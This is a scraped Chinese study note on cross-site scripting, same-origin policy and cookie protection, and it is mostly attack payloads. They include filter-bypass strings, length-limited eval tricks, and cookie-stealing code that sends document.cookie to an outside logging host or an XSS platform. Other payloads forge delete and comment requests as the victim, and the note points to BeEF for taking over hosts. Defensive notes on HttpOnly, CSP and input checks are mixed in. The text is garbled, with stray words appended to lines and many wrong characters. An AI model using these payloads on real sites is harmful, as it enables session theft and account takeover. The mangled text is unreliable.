漏洞知识库:
javascript
crossdomain.xml 文件来验证是否容许客户端的flash 跨域发送请求,使用的是白名单的思想php
使用 token 足够复杂来防护html
同源政策java
a.com 经过 <script src=http://b.com/b.js></script> 加载了b.com 的b.js 可是b.js 是运行在a.com 页面的因此对于a.com来讲,b.js的源就应该是a.com而非b.comgit
<script> <img> <iframe> <link> 等标签均可以跨域加载资源而不受同源政策的限制,这些带<src> 属性的标签加载时实际上就是由浏览器发起了一次 GET请求github
不一样于 XMLHttpRequest 的是,经过src 属性加载的资源,浏览器限制了 JAVASCRIPT的权限,使其不能读写返回的内容web
flash 经过目标网站提供的crossdomain.xml文件判断是否容许当前“源”的flash跨域访问目标资源,eg:面试
当浏览器在任意其余域的页面里加载了FLASH后,若是对www.qq.com发起访问请求,flash会先检查 www.qq.com 上此策略文件是否存在。若是文件存在,则检查发起请求的域是否在许可范围内。ajax
在flash 9及其之后的版本中,还实现了MIME检查以确认crossdomain.xml是否合法,如查看服务器返回的HTTP头等信息,FLASH还会检查 crossdomain.xml是否存在根目录下,使得一些上传文件攻击失效chrome
检测是否出现 <script>alert("xss")</script>
<iframe onload=alert(document.cookie)>
<script>alert("xss");</script>
<img src=x onerror=alert(1)>
xxx<script>alert(/xss/);</script>
javascript:alert(document.cookie);
"><img src="a" onerror="prompt">
<div style="background:url('javascript:alert(1)')">
%c1";alert(/xss/);// 系统转义了" , 接着%c1\ 这两个字符组合在一块儿后,会成为一个UNICODE字符 从而绕过系统安全检查
限制20字节类型,<input type=text value="xxx" /> 利用事件输入 " onclick=alert(1)// 实际为 <input type=text value="" onclick=alert(1)//">
首先先发一篇标题为:”>/*</script>
再发一篇标题为:"><script>alert(/Jin/)/*
拼凑起来 <script>alert(/XSS/)/*xxxxxx*/</script>
一样的思想,能够在限制字符时,第一个文本框小,第二个文本框大,那么直接在两个文本框之间的html代码所有注释掉,从而”打通“两个<input>
第一个输入 "><!--_(空格) 只有6字节 第二个输入 --><script>alert(/xss/);</script>
能够加载其余可控的安全数据位置的数据,EG:
<div id="x">alert%28document.cookie%29%3B</div> <limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
若是没有这些数据,就经过在URL的尾部参数构造要执行的代码,而后在XSS点经过document.URL/location.href等方式得到代码数据执行
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie) <limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
30字节 (上) 或者 31字节 (下)
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
或者 29字节 (下)
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
或者 30字节 (下)
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
或者更少 说明在下面
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
location.hash 能够用来获取或设置页面的标签值,不会在HTTP包中发送,因此服务器端的WEB日志中并不会记录下 location.hash 里的内容,从而也更好地隐藏了hacker的意图
<input type=text value="xxx" /> 输入40字节 " onclick="eval(location.hash.substr(1))
获得 <input type=text value="" onclick="eval(location.hash.substr(1))" />
#是用来指导浏览器动做的,对服务器端彻底无用。因此,HTTP请求中不包括#。
由于location.hash 的第一个值 为 # ,因此构造 url 为 www.xxx.com/test.html#alert(xss)
因此这里的 XSS PAYLOAD 是写在 浏览器的地址栏的。能够直接写在url,也能够利用其它平台上文件来写
还有能够关注函数
function loads(url) { ... document.body.appendChild(script); }
<limited_xss_point>loads(http://xxx.com/x);</limited_xss_point>
<base> 是个很是危险的标签,若是在页面上插入了它,那么就能够在远程主机上伪造图片,连接或者脚本了(从标签指定的网址上取获得).
window.name 能够实现跨域传输,那么构造
window.name = "alert(document.cookie)";
location.href = "http://www.xxx.com/xss.php" 只需经过XSS执行 eval(name); 只有11字节
flash XSS ,Action script 是一种很是强大和灵活的脚本,甚至可使用它发起网络链接,所以应该尽量地禁止用户可以上传加载自定义的FLASH文件
<embed> 标签订义嵌入的内容,好比插件。 <embed src="http://xxx.com/evil.swf"> </embed>
发现地方 处写上 57字节
</textarea>'"><script src=http://xssan.com/9AM3zw?1410919704></script>
便可发送COOKIE 到指定网站
<img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" width="401" height="604" title="111111111" alt="111111111"> title 和 alt 被赋值为11111111 那么赋值它 "><img src=1 onerror=alert(document.cookie)> 以后: <img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" title=""> <img src="1" onerror="alert(document.cookie)">
对于畸形URL的处理 IE中www.google.com\abc 会变成 www.google.com/abc 同源行为还有chrome 可是firefox却不如此解析
还有 www.google?abc firefox ie chrome都会认识 为www.google.com/?abc
简单的把用户输入的数据“反射”给浏览器,须要诱使用户 “点击” 一个恶意连接才能攻击成功, 也叫非持久型XSS
把用户输入的数据“存储”在服务器端,这种XSS具备很强的稳定性,也叫作持久型XSS
也是反射型 XSS,造成缘由比较特殊,经过修改页面的DOM节点造成的XSS
<a href= 'str' >XXXXX信息</a> 1输入str 那么 输入 ' onlick=alert(/xss/) //
<a href= ' ' onlick=alert(/xss/) //' >XXXXX信息</a>
2 还能够输入 '><img src=# onerror=alert(/xss2/) /><'
<a href= ' '><img src=# onerror=alert(/xss2/) /><'' >XXXXX信息</a>
简单窃取cookie
var img = document.createElement("img"); img.src = "http://www.xxx.com/log?"+escape(document.cookie); document.body.appendChild(img);
http://www.xxx.com/log不必定存在,由于web 日志服务有留下记录
登录网站 切换COOKIE 能够 用edit coookie 和其余, 之因此能够登录是当前WEB中 COOKIE通常是用户登录的凭证,浏览器发起的全部请求都会自动带上CCOOKIE。若是COOKIE 没有绑定客户端信息,那么攻击者窃取了COOKIE后就能够不用密码登陆进用户的帐户
COOKIE劫持 当出现 SetCookie时给关键COOKIE植入 httpOnly标示,有的网站则可能会把COOKIE与客户端IP绑定,从而使得XSS窃取的COOKIE失去意义
实际利用:1)删除文章,构造一个GET请求, 而后让博客主人执行这段JS代码,就会把这篇文章删除
var img = document.createElement("img"); img.src = "http://www.xxx.com/xx.do?m=delete&id=xxxxx"; document.body.appendChild(img);
2.1) 构造 POST 型 XSS PAYLOAD
在XSS平台上构造 一个POST 文件 1(文件名) , 这里例子最重要是ck=JiUY mb_text=评论值
var dd = document.createElement("div"); document.body.appendChild(dd); dd.innerHTML= '<form action="" method="post" id="xssform" name="mbform">'+ '<input type="hidden" value="JiUY" name="ck" />'+ '<input type="text" value="testtesttest" name="mb_text" />'+ '</form>' document.getElementById("xssform").submit();
构造XSS PAYLOAD 便可 <script>xxx.com/1</script>
2.2) 另外一种方式:
var url = "http://www.xxx.com"; var postStr = "ck=JiUY&mb_text=test1234" var ajax =null; if (window.ajaxRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari ajax=new ajaxRequest(); } else {// code for IE6, IE5 ajax=new ActiveXObject("Microsoft.ajax"); } ajax.open("POST",url,true); ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); ajax.send(postStr); ajax.onreadystatechange = function() { if(ajax.readyState == 4 && ajax.status == 200) { alert("Done!"); } }
若是须要输入验证码 那么就完蛋了、·······通常的XSS 都会失效·············
那么就要想到 获得对方的 验证码图片
识别用户浏览器,植入木马等,识别用户安装的软件,获取用户真实IP,
alert(navigator.userAgent) 获得对方的 OS,浏览器版本,语言,但这不是准确的
BEEF ,XSS-PROXY 能够拿下 内网主机~~~~ use auxiliary/server/browser_autopwn 能够检查浏览器漏洞
补充: 一个COOKIE的使用过程:
1)浏览器发起请求,则仍是没有COOKIE
2)服务器返回时发送 SET COOKIE 头 ,向客户端浏览器写入 COOKIE
3)在该 COOKIE 到期前,浏览器访问该域下的全部页面,都将发送该COOKIE
HTTP-only cookie。包含在HTTP-only cookie中的任何信息暴露给黑客或者恶意网站的概率将会大大下降。下面是设置HTTP-only cookie的一个报头的示例:
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly 能够防止“COOKIE劫持”
最先由微软提出,IE6中,浏览器讲禁止页面JS访问带有 HTTP-ONLY属性的COOKIE
HTTP ONLY 是在 SET-COOKIE 时标记的, 须要注意可能有多个 COOKIE,而 HTTP-ONLY 能够有选择性地加在任何一个 COOKIE 上
在某些状况,多个 COOKIE ,HTTP-ONLY 只标记给用于认证的关键 COOKIE
(已经被修补)绕过能够利用 apache 支持的TRACE 通常用于调试,会讲请求头做为HTTP RESPONSE 返回
firefox第一个提出CSP 作法是由服务器返回一个HTTP头,并在其中描述页面应该遵循的安全策略,XSS攻击在没有第三方插件帮助状况下,没法控制HTTP头,因此这项措施是可行的。使用CSP 的方法以下,插入一个HTTP返回头:
X-Content-Security-Policy:policy 好比:
X-Content-Security-Policy:policy: allow 'self' *.mydomain.com
浏览器新人来自mydomain.com及其子域的内容
NoScript 扩展
NoScript 1.1.4.7版公开发布,新增了一个客户端级的保护,针对类型0和类型1的XSS攻击。一旦一个页面试图将HTML或是JavaScript代码插入另外一个页面,NoScript就会过滤掉有害请求,抵消这些危害。
2007年4月11日,NoScript 能够根据您的选择,只容许受信任的网站启用JavaScript、Java 或其余插件
2008年9月15日,NoScript 1.8.1版公开发布,使得用户能够强制某些网站必须经过https访问,增长安全性。此外NoScript也能够强制https网站把Cookies加密来阻止Cookies劫持。
2009年9月23日,NoScript 1.9.8.9版增长了对STS的支持。这一功能使得用户在访问支持的网站(例如,PayPal)的时候自动只经过HTTPS访问,使得中间人攻击变得很是困难。
IE8 XSS Filter 可是已经被绕过了 http://www.80sec.com/ie8-xssfilter-bypass.html
.php?c=<script>alert()</script> .php?c=%c1<script>alert()</script> 绕过
输入检查吗,输入检查的逻辑必须放在服务器端的代码上,。若是只是客户端的JS进行输入检查,很容易就被攻击者绕过了,JS客户端检查能够节约服务器资源。。比较稚嫩的能够检查是否有<script>,javascript等敏感字符,这种能够称为XSS Filter